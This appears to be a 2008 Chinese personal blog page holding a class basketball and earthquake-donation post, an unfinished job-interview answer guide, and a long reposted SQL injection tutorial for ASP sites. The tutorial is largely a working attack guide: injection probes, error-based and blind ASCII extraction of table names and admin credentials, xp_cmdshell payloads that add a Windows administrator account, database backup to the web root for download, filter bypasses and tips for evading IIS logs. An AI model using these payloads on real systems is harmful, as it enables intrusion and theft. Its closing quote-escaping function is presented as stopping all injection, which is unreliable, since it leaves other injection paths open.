<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 9,  comments - 1,  trackbacks - 0
      2008年5月7日
    這幾天很忙,一直想把前幾天的事記錄下來(lái),但是總是沒(méi)有找到合適的時(shí)間,今天晚上有時(shí)間,趕緊寫(xiě)下來(lái)。
    大三了,馬上要離開(kāi)學(xué)校了,這是我們班最后一次參加學(xué)院的院籃球比賽,大家都憋足了勁,拿下這個(gè)冠軍。
    決賽中,上半場(chǎng)兩個(gè)班你來(lái)我往,我們班領(lǐng)先1分,下半場(chǎng)開(kāi)場(chǎng)不久,我們將比分拉到了8分之多,一直持續(xù)到結(jié)束。
    三年我們班三次打入決賽,前兩次都得了亞軍,這次我們勝利了。這個(gè)冠軍來(lái)的有些晚,但是它更有意義,因?yàn)槲覀儼勋@得的物質(zhì)獎(jiǎng)勵(lì)捐給受災(zāi)的四川人民。
    5月12號(hào)的大地震過(guò)后,學(xué)校里各個(gè)班級(jí)紛紛進(jìn)行了募捐活動(dòng),班級(jí)同學(xué)非常踴躍,盡自己的力量幫助四川人民。
    正好我們班籃球隊(duì)剛拿了個(gè)冠軍,將獎(jiǎng)勵(lì)的120元錢(qián)的物質(zhì)獎(jiǎng)勵(lì)改成了現(xiàn)金,捐了其中的100元,剩下20給同學(xué)買(mǎi)小紀(jì)念品。
    班級(jí)募捐金額不是很多,但是體現(xiàn)了大家的心意,具體如下: 
    類(lèi)型 個(gè)數(shù) 小計(jì)
    1角硬幣 1757 175.7
    5角硬幣 190 95
    1元硬幣 76 76
    1角紙幣 400 40
    2角紙幣+5角紙幣+1元紙幣 26
    大于1元人民幣 394
    籃球隊(duì)捐款 100
    總計(jì) 906.7
    posted @ 2008-05-22 19:37 速溶人生 閱讀(167) | 評(píng)論 (0)編輯 收藏

    sql注入漏洞防范方法

     

    SQL注入是常見(jiàn)的利用程序漏洞進(jìn)行攻擊的方法,絕大多數(shù)的代碼都存在這種漏洞,首先要保證你的管理員密碼是10位以上(數(shù)字字母配合),然后下載這個(gè)SQL通用防注入程序(網(wǎng)上有很多下載)加入到你的程序內(nèi),基本可以解決掉。

    攻擊源于程序漏洞 SQL注入原理

    導(dǎo)致SQL注入攻擊的漏洞并非系統(tǒng)造成的,主要是程序員在編程中忽略了安全因素,他的原理并不復(fù)雜。

    引 言

      隨著B(niǎo)/S模式應(yīng)用開(kāi)發(fā)的發(fā)展,使用這種模式編寫(xiě)應(yīng)用程序的程序員也越來(lái)越多。但是由于這個(gè)行業(yè)的入門(mén)門(mén)檻不高,程序員的水平及經(jīng)驗(yàn)也參差不齊,相當(dāng)大一部分程序員在編寫(xiě)代碼的時(shí)候,沒(méi)有對(duì)用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫(kù)查詢代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。

      SQL注入是從正常的WWW端口訪問(wèn),而且表面看起來(lái)跟一般的Web頁(yè)面訪問(wèn)沒(méi)什么區(qū)別,所以目前市面的防火墻都不會(huì)對(duì)SQL注入發(fā)出警報(bào),如果管理員沒(méi)查看IIS日志的習(xí)慣,可能被入侵很長(zhǎng)時(shí)間都不會(huì)發(fā)覺(jué)。

      但是,SQL注入的手法相當(dāng)靈活,在注入的時(shí)候會(huì)碰到很多意外的情況。能不能根據(jù)具體情況進(jìn)行分析,構(gòu)造巧妙的SQL語(yǔ)句,從而成功獲取想要的數(shù)據(jù),是高手與“菜鳥(niǎo)”的根本區(qū)別。

      根據(jù)國(guó)情,國(guó)內(nèi)的網(wǎng)站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我們從分入門(mén)、進(jìn)階至高級(jí)講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯(lián)盟的另一位朋友zwell撰寫(xiě),希望對(duì)安全工作者和程序員都有用處。了解 ASP注入的朋友也請(qǐng)不要跳過(guò)入門(mén)篇,因?yàn)椴糠秩藢?duì)注入的基本判斷方法還存在誤區(qū)。大家準(zhǔn)備好了嗎?Let's Go...

      入門(mén)篇

      如果你以前沒(méi)試過(guò)SQL注入的話,那么第一步先把IE菜單=>工具=>Internet選項(xiàng)=>高級(jí)=>顯示友好HTTP 錯(cuò)誤信息前面的勾去掉。否則,不論服務(wù)器返回什么錯(cuò)誤,IE都只顯示為HTTP 500服務(wù)器錯(cuò)誤,不能獲得更多的提示信息。

      第一節(jié)、SQL注入原理

      以下我們從一個(gè)網(wǎng)站www.mytest.com開(kāi)始(注:本文發(fā)表前已征得該站站長(zhǎng)同意,大部分都是真實(shí)數(shù)據(jù))。

      在網(wǎng)站首頁(yè)上,有名為“IE不能打開(kāi)新窗口的多種解決方法”的鏈接,地址為:http://www.mytest.com/showdetail.asp?id=49,我們?cè)谶@個(gè)地址后面加上單引號(hào)’,服務(wù)器會(huì)返回下面的錯(cuò)誤提示:

    Microsoft JET Database Engine 錯(cuò)誤 '80040e14'

      字符串的語(yǔ)法錯(cuò)誤 在查詢表達(dá)式 'ID=49'' 中。

    /showdetail.asp,行8

      從這個(gè)錯(cuò)誤提示我們能看出下面幾點(diǎn):

      1. 網(wǎng)站使用的是Access數(shù)據(jù)庫(kù),通過(guò)JET引擎連接數(shù)據(jù)庫(kù),而不是通過(guò)ODBC。

      2. 程序沒(méi)有判斷客戶端提交的數(shù)據(jù)是否符合程序要求。

      3. 該SQL語(yǔ)句所查詢的表中有一名為ID的字段。

      從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及服務(wù)器的信息,從而獲取你想到得到的資料。

      第二節(jié)、判斷能否進(jìn)行SQL注入

      看完第一節(jié),有一些人會(huì)覺(jué)得:我也是經(jīng)常這樣測(cè)試能否注入的,這不是很簡(jiǎn)單嗎?

      其實(shí),這并不是最好的方法,為什么呢?

      首先,不一定每臺(tái)服務(wù)器的IIS都返回具體錯(cuò)誤提示給客戶端,如果程序中加了cint(參數(shù))之類(lèi)語(yǔ)句的話,SQL注入是不會(huì)成功的,但服務(wù)器同樣會(huì)報(bào)錯(cuò),具體提示信息為處理 URL 時(shí)服務(wù)器上出錯(cuò)。請(qǐng)和系統(tǒng)管理員聯(lián)絡(luò)。

      其次,部分對(duì)SQL注入有一點(diǎn)了解的程序員,認(rèn)為只要把單引號(hào)過(guò)濾掉就安全了,這種情況不為少數(shù),如果你用單引號(hào)測(cè)試,是測(cè)不到注入點(diǎn)的,那么,什么樣的測(cè)試方法才是比較準(zhǔn)確呢?答案如下:

      ① http://www.mytest.com/showdetail.asp?id=49

      ② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

      ③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

      這就是經(jīng)典的1=1、1=2測(cè)試法了,怎么判斷呢?看看上面三個(gè)網(wǎng)址返回的結(jié)果就知道了:

      可以注入的表現(xiàn):

      ① 正常顯示(這是必然的,不然就是程序有錯(cuò)誤了)

      ② 正常顯示,內(nèi)容基本與①相同

      ③ 提示BOF或EOF(程序沒(méi)做任何判斷時(shí))、或提示找不到記錄(判斷了rs.eof時(shí))、或顯示內(nèi)容為空(程序加了on error resume next)

      不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會(huì)有程序定義的錯(cuò)誤提示,或提示類(lèi)型轉(zhuǎn)換時(shí)出錯(cuò)。

      當(dāng)然,這只是傳入?yún)?shù)是數(shù)字型的時(shí)候用的判斷方法,實(shí)際應(yīng)用的時(shí)候會(huì)有字符型和搜索型參數(shù),我將在中級(jí)篇的“SQL注入一般步驟”再做分析。

      第三節(jié)、判斷數(shù)據(jù)庫(kù)類(lèi)型及注入方法

      不同的數(shù)據(jù)庫(kù)的函數(shù)、注入方法都是有差異的,所以在注入之前,我們還要判斷一下數(shù)據(jù)庫(kù)的類(lèi)型。一般ASP最常搭配的數(shù)據(jù)庫(kù)是Access和SQLServer,網(wǎng)上超過(guò)99%的網(wǎng)站都是其中之一。

      怎么讓程序告訴你它使用的什么數(shù)據(jù)庫(kù)呢?來(lái)看看:

      SQLServer有一些系統(tǒng)變量,如果服務(wù)器IIS提示沒(méi)關(guān)閉,并且SQLServer返回錯(cuò)誤提示的話,那可以直接從出錯(cuò)信息獲取,方法如下:

      http://www.mytest.com/showdetail.asp?id=49 ;and user>0

      這句語(yǔ)句很簡(jiǎn)單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無(wú)意的測(cè)試中發(fā)現(xiàn)這種效率極高的猜解方法。讓我看來(lái)看看它的含義:首先,前面的語(yǔ)句是正常的,重點(diǎn)在and user>0,我們知道,user是SQLServer的一個(gè)內(nèi)置變量,它的值是當(dāng)前連接的用戶名,類(lèi)型為nvarchar。拿一個(gè)nvarchar的值跟int的數(shù)0比較,系統(tǒng)會(huì)先試圖將nvarchar的值轉(zhuǎn)成int型,當(dāng)然,轉(zhuǎn)的過(guò)程中肯定會(huì)出錯(cuò),SQLServer的出錯(cuò)提示是:將nvarchar值 ”abc” 轉(zhuǎn)換數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤,呵呵,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數(shù)據(jù)庫(kù)的用戶名。在以后的篇幅里,大家會(huì)看到很多用這種方法的語(yǔ)句。

      順便說(shuō)幾句,眾所周知,SQLServer的用戶sa是個(gè)等同Adminstrators權(quán)限的角色,拿到了sa權(quán)限,幾乎肯定可以拿到主機(jī)的 Administrator了。上面的方法可以很方便的測(cè)試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將”dbo”轉(zhuǎn)換成int的列發(fā)生錯(cuò)誤,而不是”sa”。

      如果服務(wù)器IIS不允許返回錯(cuò)誤提示,那怎么判斷數(shù)據(jù)庫(kù)類(lèi)型呢?我們可以從Access和SQLServer和區(qū)別入手,Access和SQLServer都有自己的系統(tǒng)表,比如存放數(shù)據(jù)庫(kù)中所有對(duì)象的表,Access是在系統(tǒng)表[msysobjects]中,但在Web環(huán)境下讀該表會(huì)提示“沒(méi)有權(quán)限”,SQLServer是在表[sysobjects]中,在Web環(huán)境下可正常讀取。

      在確認(rèn)可以注入的情況下,使用下面的語(yǔ)句:

    http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

    http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

      如果數(shù)據(jù)庫(kù)是SQLServer,那么第一個(gè)網(wǎng)址的頁(yè)面與原頁(yè)面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二個(gè)網(wǎng)址,由于找不到表msysobjects,會(huì)提示出錯(cuò),就算程序有容錯(cuò)處理,頁(yè)面也與原頁(yè)面完全不同。

      如果數(shù)據(jù)庫(kù)用的是Access,那么情況就有所不同,第一個(gè)網(wǎng)址的頁(yè)面與原頁(yè)面完全不同;第二個(gè)網(wǎng)址,則視乎數(shù)據(jù)庫(kù)設(shè)置是否允許讀該系統(tǒng)表,一般來(lái)說(shuō)是不允許的,所以與原網(wǎng)址也是完全不同。大多數(shù)情況下,用第一個(gè)網(wǎng)址就可以得知系統(tǒng)所用的數(shù)據(jù)庫(kù)類(lèi)型,第二個(gè)網(wǎng)址只作為開(kāi)啟IIS錯(cuò)誤提示時(shí)的驗(yàn)證。

    進(jìn)階篇

      在入門(mén)篇,我們學(xué)會(huì)了SQL注入的判斷方法,但真正要拿到網(wǎng)站的保密內(nèi)容,是遠(yuǎn)遠(yuǎn)不夠的。接下來(lái),我們就繼續(xù)學(xué)習(xí)如何從數(shù)據(jù)庫(kù)中獲取想要獲得的內(nèi)容,首先,我們先看看SQL注入的一般步驟:

      第一節(jié)、SQL注入的一般步驟

      首先,判斷環(huán)境,尋找注入點(diǎn),判斷數(shù)據(jù)庫(kù)類(lèi)型,這在入門(mén)篇已經(jīng)講過(guò)了。

      其次,根據(jù)注入?yún)?shù)類(lèi)型,在腦海中重構(gòu)SQL語(yǔ)句的原貌,按參數(shù)類(lèi)型主要分為下面三種:

      (A) ID=49 這類(lèi)注入的參數(shù)是數(shù)字型,SQL語(yǔ)句原貌大致如下: Select * from 表名 where 字段=49
       注入的參數(shù)為ID=49 And [查詢條件],即是生成語(yǔ)句: Select * from 表名 where 字段=49 And [查詢條件]

      (B) Class=連續(xù)劇 這類(lèi)注入的參數(shù)是字符型,SQL語(yǔ)句原貌大致概如下: Select * from 表名 where 字段=’連續(xù)劇’
       注入的參數(shù)為Class=連續(xù)劇’ and [查詢條件] and ‘’=’ ,即是生成語(yǔ)句:

    Select * from 表名 where 字段=’連續(xù)劇’ and [查詢條件] and ‘’=’’
       © 搜索時(shí)沒(méi)過(guò)濾參數(shù)的,如keyword=關(guān)鍵字,SQL語(yǔ)句原貌大致如下:

    Select * from 表名 where 字段like ’%關(guān)鍵字%’
       注入的參數(shù)為keyword=’ and [查詢條件] and ‘%25’=’, 即是生成語(yǔ)句:

    Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’
       接著,將查詢條件替換成SQL語(yǔ)句,猜解表名,例如:

    ID=49 And (Select Count(*) from Admin)>=0
       如果頁(yè)面就與ID=49的相同,說(shuō)明附加條件成立,即表Admin存在,反之,即不存在(請(qǐng)牢記這種方法)。如此循環(huán),直至猜到表名為止。
      表名猜出來(lái)后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。

      有人會(huì)說(shuō):這里有一些偶然的成分,如果表名起得很復(fù)雜沒(méi)規(guī)律的,那根本就沒(méi)得玩下去了。說(shuō)得很對(duì),這世界根本就不存在100%成功的黑客技術(shù),蒼蠅不叮無(wú)縫的蛋,無(wú)論多技術(shù)多高深的黑客,都是因?yàn)閯e人的程序?qū)懙貌粐?yán)密或使用者保密意識(shí)不夠,才有得下手。

      有點(diǎn)跑題了,話說(shuō)回來(lái),對(duì)于SQLServer的庫(kù),還是有辦法讓程序告訴我們表名及字段名的,這點(diǎn)在高級(jí)篇中會(huì)做介紹。

      最后,在表名和列名猜解成功后,再使用SQL語(yǔ)句,得出字段的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

      我們舉個(gè)例子,已知表Admin中存在username字段,首先,我們?nèi)〉谝粭l記錄,測(cè)試長(zhǎng)度:

    http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

      先說(shuō)明原理:如果top 1的username長(zhǎng)度大于0,則條件成立;接著就是>1、>2、>3這樣測(cè)試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

      當(dāng)然沒(méi)人會(huì)笨得從0,1,2,3一個(gè)個(gè)測(cè)試,怎么樣才比較快就看各自發(fā)揮了。在得到username的長(zhǎng)度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:

    id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

      同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數(shù)字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫(xiě)成程序測(cè)試,效率會(huì)有極大的提高。

      第二節(jié)、SQL注入常用函數(shù)

      有SQL語(yǔ)言基礎(chǔ)的人,在SQL注入的時(shí)候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數(shù)及命令。

    Access:asc(字符) SQLServer:unicode(字符)

      作用:返回某字符的ASCII碼

    Access:chr(數(shù)字) SQLServer:nchar(數(shù)字)

      作用:與asc相反,根據(jù)ASCII碼返回字符

    Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

      作用:返回字符串從N個(gè)字符起長(zhǎng)度為L(zhǎng)的子字符串,即N到N+L之間的字符串

    Access:abc(數(shù)字) SQLServer:abc (數(shù)字)

      作用:返回?cái)?shù)字的絕對(duì)值(在猜解漢字的時(shí)候會(huì)用到)

    Access:A between B And C SQLServer:A between B And C

      作用:判斷A是否界于B與C之間

      第三節(jié)、中文處理方法

      在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實(shí)只要對(duì)中文的編碼有所了解,“中文恐懼癥”很快可以克服。

      先說(shuō)一點(diǎn)常識(shí):

      Access中,中文的ASCII碼可能會(huì)出現(xiàn)負(fù)數(shù),取出該負(fù)數(shù)后用abs()取絕對(duì)值,漢字字符不變。

      SQL Server中,中文的ASCII為正數(shù),但由于是UNICODE的雙位編碼,不能用函數(shù)ascii()取得ASCII碼,必須用函數(shù)unicode ()返回unicode值,再用nchar函數(shù)取得對(duì)應(yīng)的中文字符。

      了解了上面的兩點(diǎn)后,是不是覺(jué)得中文猜解其實(shí)也跟英文差不多呢?除了使用的函數(shù)要注意、猜解范圍大一點(diǎn)外,方法是沒(méi)什么兩樣的。

    高級(jí)篇

      看完入門(mén)篇和進(jìn)階篇后,稍加練習(xí),破解一般的網(wǎng)站是沒(méi)問(wèn)題了。但如果碰到表名列名猜不到,或程序作者過(guò)濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請(qǐng)大家接著往下看高級(jí)篇。

      第一節(jié)、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)

      SQL Server是一個(gè)功能強(qiáng)大的數(shù)據(jù)庫(kù)系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開(kāi)發(fā)者帶來(lái)了很大的方便,但另一方面,也為注入者提供了一個(gè)跳板,我們先來(lái)看看幾個(gè)具體的例子:

      ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

      分號(hào);在SQLServer中表示隔開(kāi)前后兩句語(yǔ)句,--表示后面的語(yǔ)句為注釋?zhuān)裕@句語(yǔ)句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲(chǔ)過(guò)程xp_cmdshell,這個(gè)存儲(chǔ)過(guò)程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號(hào),接著:

      ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

      將新建的帳號(hào)name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫(kù)的情況,否則,是沒(méi)有權(quán)限調(diào)用xp_cmdshell的。

      ③ http://Site/url.asp?id=1 ;and db_name()>0

      前面有個(gè)類(lèi)似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫(kù)名。

      ④ http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫(kù)名 to disk=’c:\inetpub\wwwroot\1.db’;--

      這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫(kù)名,加上某些IIS出錯(cuò)暴露出的絕對(duì)路徑,將數(shù)據(jù)庫(kù)備份到Web目錄下面,再用HTTP把整個(gè)數(shù)據(jù)庫(kù)就完完整整的下載回來(lái),所有的管理員及用戶密碼都一覽無(wú)遺!在不知道絕對(duì)路徑的時(shí)候,還可以備份到網(wǎng)絡(luò)地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

      ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’and status>0)>0

      前面說(shuō)過(guò),sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語(yǔ)句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來(lái)。第二、第三個(gè)表名怎么獲取?還是留給我們聰明的讀者思考吧。

      ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

      從⑤拿到表名后,用object_id(‘表名’)獲取表名對(duì)應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。

      以上6點(diǎn)是我研究SQLServer注入半年多以來(lái)的心血結(jié)晶,可以看出,對(duì)SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開(kāi)發(fā)方面的水平也得到很大的提高,呵呵,也許安全與開(kāi)發(fā)本來(lái)就是相輔相成的吧。

      第二節(jié)、繞過(guò)程序限制繼續(xù)注入

      在入門(mén)篇提到,有很多人喜歡用’號(hào)測(cè)試注入漏洞,所以也有很多人用過(guò)濾’號(hào)的方法來(lái)“防止”注入漏洞,這也許能擋住一些入門(mén)者的攻擊,但對(duì)SQL注入比較熟悉的人,還是可以利用相關(guān)的函數(shù),達(dá)到繞過(guò)程序限制的目的。

      在“SQL注入的一般步驟”一節(jié)中,我所用的語(yǔ)句,都是經(jīng)過(guò)我優(yōu)化,讓其不包含有單引號(hào)的;在“利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)”中,有些語(yǔ)句包含有’號(hào),我們舉個(gè)例子來(lái)看看怎么改造這些語(yǔ)句:

      簡(jiǎn)單的如where xtype=’U’,字符U對(duì)應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替;

    如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。

      第三節(jié)、經(jīng)驗(yàn)小結(jié)

      1.有些人會(huì)過(guò)濾Select、Update、Delete這些關(guān)鍵字,但偏偏忘記區(qū)分大小寫(xiě),所以大家可以用selecT這樣嘗試一下。

      2.在猜不到字段名時(shí),不妨看看網(wǎng)站上的登錄表單,一般為了方便起見(jiàn),字段名都與表單的輸入框取相同的名字。

      3.特別注意:地址欄的+號(hào)傳入程序后解釋為空格,%2B解釋為+號(hào),%25解釋為%號(hào),具體可以參考URLEncode的相關(guān)介紹。

      4.用Get方法注入時(shí),IIS會(huì)記錄你所有的提交字符串,對(duì)Post方法做則不記錄,所以能用Post的網(wǎng)址盡量不用Get。

      5. 猜解Access時(shí)只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區(qū)別即可,但是如果能用SQLServer的報(bào)錯(cuò)信息把值暴露出來(lái),那效率和準(zhǔn)確率會(huì)有極大的提高。

      防范方法

      SQL注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網(wǎng)上極為普遍,通常是由于程序員對(duì)注入不了解,或者程序過(guò)濾不嚴(yán)格,或者某個(gè)參數(shù)忘記檢查導(dǎo)致。在這里,我給大家一個(gè)函數(shù),代替ASP中的Request函數(shù),可以對(duì)一切的SQL注入Say NO,函數(shù)如下:

    Function SafeRequest(ParaName,ParaType)
      '--- 傳入?yún)?shù) ---
      'ParaName:參數(shù)名稱(chēng)-字符型
      'ParaType:參數(shù)類(lèi)型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

     Dim Paravalue
      Paravalue=Request(ParaName)
      If ParaType=1 then
       If not isNumeric(Paravalue) then
        Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"
        Response.end
       End if
      Else
       Paravalue=replace(Paravalue,"'","''")
      End if
      SafeRequest=Paravalue
    End function

     

    posted @ 2008-05-20 16:22 速溶人生 閱讀(137) | 評(píng)論 (0)編輯 收藏
    16個(gè)經(jīng)典面試問(wèn)題回答思路

    面試過(guò)程中,面試官會(huì)向應(yīng)聘者發(fā)問(wèn),而應(yīng)聘者的回答將成為面試官考慮是否接受他的重要依據(jù)。對(duì)應(yīng)聘者而言,了解這些問(wèn)題背后的“貓膩”至關(guān)重要。本文對(duì)面試中經(jīng)常出現(xiàn)的一些典型問(wèn)題進(jìn)行了整理,并給出相應(yīng)的回答思路和參考答案。讀者無(wú)需過(guò)分關(guān)注分析的細(xì)節(jié),關(guān)鍵是要從這些分析中“悟”出面試的規(guī)律及回答問(wèn)題的思維方式,達(dá)到“活學(xué)活用”。

        問(wèn)題一:“請(qǐng)你自我介紹一下”

        思路: 1、這是面試的必考題目。 2、介紹內(nèi)容要與個(gè)人簡(jiǎn)歷相一致。 3、表述方式上盡量口語(yǔ)化。 4、要切中要害,不談無(wú)關(guān)、無(wú)用的內(nèi)容。 5、條理要清晰,層次要分明。6、事先最好以文字的形式寫(xiě)好背熟。

        問(wèn)題二:“談?wù)勀愕募彝デ闆r”

        思路:1、 況對(duì)于了解應(yīng)聘者的性格、觀念、心態(tài)等有一定的作用,這是招聘單位問(wèn)該問(wèn)題的主要原因。 2、 簡(jiǎn)單地羅列家庭人口。 3、 宜強(qiáng)調(diào)溫馨和睦的家庭氛圍。 4、 宜強(qiáng)調(diào)父母對(duì)自己教育的重視。 5、 宜強(qiáng)調(diào)各位家庭成員的良好狀況。 6、 宜強(qiáng)調(diào)家庭成員對(duì)自己工作的支持。 7、 宜強(qiáng)調(diào)自己對(duì)家庭的責(zé)任感。

        問(wèn)題三:“你有什么業(yè)余愛(ài)好?”

        思路: 1、 業(yè)余愛(ài)好能在一定程度上反映應(yīng)聘者的性格、觀念、心態(tài),這是招聘單位問(wèn)該問(wèn)題的主要原因。 2、 最好不要說(shuō)自己沒(méi)有業(yè)余愛(ài)好。 3、 不要說(shuō)自己有那些庸俗的、令人感覺(jué)不好的愛(ài)好。 4、 最好不要說(shuō)自己僅限于讀書(shū)、聽(tīng)音樂(lè)、上網(wǎng),否則可能令面試官懷疑應(yīng)聘者性格孤僻。 5、 最好能有一些戶外的業(yè)余愛(ài)好來(lái)“點(diǎn)綴”你的形象。

        問(wèn)題四:“你最崇拜誰(shuí)?”

        思路: 1、 最崇拜的人能在一定程度上反映應(yīng)聘者的性格、觀念、心態(tài),這是面試官問(wèn)該問(wèn)題的主要原因。 2、 不宜說(shuō)自己誰(shuí)都不崇拜。 3、 不宜說(shuō)崇拜自己。 4、 不宜說(shuō)崇拜一個(gè)虛幻的、或是不知名的人。 5、 不宜說(shuō)崇拜一個(gè)明顯具有負(fù)面形象的人。 6、 所崇拜的人人最好與自己所應(yīng)聘的工作能“搭”上關(guān)系。 7、 最好說(shuō)出自己所崇拜的人的哪些品質(zhì)、哪些思想感染著自己、鼓舞著自己。

        問(wèn)題五:“你的座右銘是什么?”

        思路: 1、座右銘能在一定程度上反映應(yīng)聘者的性格、觀念、心態(tài),這是面試官問(wèn)這個(gè)問(wèn)題的主要原因。 2、不宜說(shuō)那些易引起不好聯(lián)想的座右銘。 3、不宜說(shuō)那些太抽象的座右銘。 4、不宜說(shuō)太長(zhǎng)的座右銘。 5、座右銘最好能反映出自己某種優(yōu)秀品質(zhì)。 6、 參考答案——“只為成功找方法,不為失敗找借口”

        問(wèn)題六:“談?wù)勀愕娜秉c(diǎn)”

        思路: 1、 不宜說(shuō)自己沒(méi)缺點(diǎn)。 2、 不宜把那些明顯的優(yōu)點(diǎn)說(shuō)成缺點(diǎn)。 3、 不宜說(shuō)出嚴(yán)重影響所應(yīng)聘工作的缺點(diǎn)。 4、 不宜說(shuō)出令人不放心、不舒服的缺點(diǎn)。 5、 可以說(shuō)出一些對(duì)于所應(yīng)聘工作“無(wú)關(guān)緊要”的缺點(diǎn),甚至是一些表面上看是缺點(diǎn),從工作的角度看卻是優(yōu)點(diǎn)的缺點(diǎn)。

        問(wèn)題七:“談一談你的一次失敗經(jīng)歷”

        思路: 1、 不宜說(shuō)自己沒(méi)有失敗的經(jīng)歷。 2、 不宜把那些明顯的成功說(shuō)成是失敗。 3、 不宜說(shuō)出嚴(yán)重影響所應(yīng)聘工作的失敗經(jīng)歷, 4、 所談經(jīng)歷的結(jié)果應(yīng)是失敗的。 5、 宜說(shuō)明失敗之前自己曾信心白倍、盡心盡力。 6、 說(shuō)明僅僅是由于外在客觀原因?qū)е率 ?7、 失敗后自己很快振作起來(lái),以更加飽滿的熱情面對(duì)以后的工作。

        問(wèn)題八:“你為什么選擇我們公司?”

        思路: 1、 面試官試圖從中了解你求職的動(dòng)機(jī)、愿望以及對(duì)此項(xiàng)工作的態(tài)度。 2、 建議從行業(yè)、企業(yè)和崗位這三個(gè)角度來(lái)回答。 3、 參考答案——“我十分看好貴公司所在的行業(yè),我認(rèn)為貴公司十分重視人才,而且這項(xiàng)工作很適合我,相信自己一定能做好。”

        問(wèn)題九:“對(duì)這項(xiàng)工作,你有哪些可預(yù)見(jiàn)的困難?”

        思路: 1、 不宜直接說(shuō)出具體的困難,否則可能令對(duì)方懷疑應(yīng)聘者不行。 2、 可以嘗試迂回戰(zhàn)術(shù),說(shuō)出應(yīng)聘者對(duì)困難所持有的態(tài)度——“工作中出現(xiàn)一些困難是正常的,也是難免的,但是只要有堅(jiān)忍不拔的毅力、良好的合作精神以及事前周密而充分的準(zhǔn)備,任何困難都是可以克服的。”

        問(wèn)題十:“如果我錄用你,你將怎樣開(kāi)展工作”

        思路: 1、 如果應(yīng)聘者對(duì)于應(yīng)聘的職位缺乏足夠的了解,最好不要直接說(shuō)出自己開(kāi)展工作的具體辦法, 2、 可以嘗試采用迂回戰(zhàn)術(shù)來(lái)回答,如“首先聽(tīng)取領(lǐng)導(dǎo)的指示和要求,然后就有關(guān)情況進(jìn)行了解和熟悉,接下來(lái)制定一份近期的工作計(jì)劃并報(bào)領(lǐng)導(dǎo)批準(zhǔn),最后根據(jù)計(jì)劃開(kāi)展工作。”
    問(wèn)題十一:“與上級(jí)意見(jiàn)不一是,你將怎么辦?”

